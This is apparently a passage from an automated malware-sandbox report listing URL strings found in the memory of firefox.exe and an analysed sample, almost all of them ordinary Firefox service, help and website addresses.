Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974564214.000001B114F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2963021945.000001B11157D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s_injectDefaultProtocolHandlersIfNeeded
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974564214.000001B114F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2963021945.000001B11157D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttp://poczta.interia.pl/mh/?mailto=%sget
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001F.00000002.2970664695.000001B1136C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2970664695.000001B113680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001F.00000002.3023337743.00000CB01CC04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974564214.000001B114F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974564214.000001B114F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2963021945.000001B11157D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sunavailable:FEATURE_FAILURE_DCOMP_NOT_ANGLEgetOriginAttribute
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comprofilerRecordingButtonCreated
Source: firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001F.00000002.2970664695.000001B113680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001F.00000002.2959421322.000001B106A00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/experiments/screenshots/api.js
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/experiments/screenshots/api.jsWeb
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001F.00000002.3015576756.000001B11D463000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001F.00000002.2984824415.000001B1161D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001F.00000002.2984824415.000001B1161D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001F.00000002.2954167196.000001B1066CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001F.00000002.2954167196.000001B10663A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001F.00000002.2961348345.000001B110F08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2954167196.000001B1066CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001F.00000002.2987356094.000001B1165BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001F.00000002.2987356094.000001B1165BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986979517.000001B116405000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986979517.000001B116409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001F.00000002.2962205193.000001B1110E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001F.00000002.3014298183.000001B11C458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000001F.00000002.3014298183.000001B11C458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: file.exe, 00000000.00000003.2196044703.000000002EDF1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001F.00000002.2988472196.000001B1166E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: file.exe, 00000000.00000003.2196044703.000000002EDF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: firefox.exe, 0000001F.00000003.2938950464.000001B11E09C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2939661646.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2940678415.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001F.00000002.2970664695.000001B113680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001F.00000003.2938950464.000001B11E09C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2939661646.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2940678415.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000000.00000002.2514256490.0000000028D61000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2916983014.000001B112E5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/_notifyBackgroundTab/this._backgroundTabScrollPro
Source: firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: file.exe, 00000000.00000002.2514256490.0000000028D61000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/U.
Source: file.exe, 00000000.00000003.2123124087.00000000027DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001F.00000002.3000161016.000001B1177F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001F.00000002.3016689132.000001B11D61B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001F.00000002.3006356102.000001B11BFBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2916983014.000001B112E5F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2959421322.000001B106A00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2123124087.00000000027DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001F.00000002.3006356102.000001B11BFBC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2959421322.000001B106A00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/https://vk.com/
Source: firefox.exe, 0000001F.00000002.2964737783.000001B111A09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3024586000.00003E9C36B3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2962205193.000001B1110E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3010160093.000001B11C286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
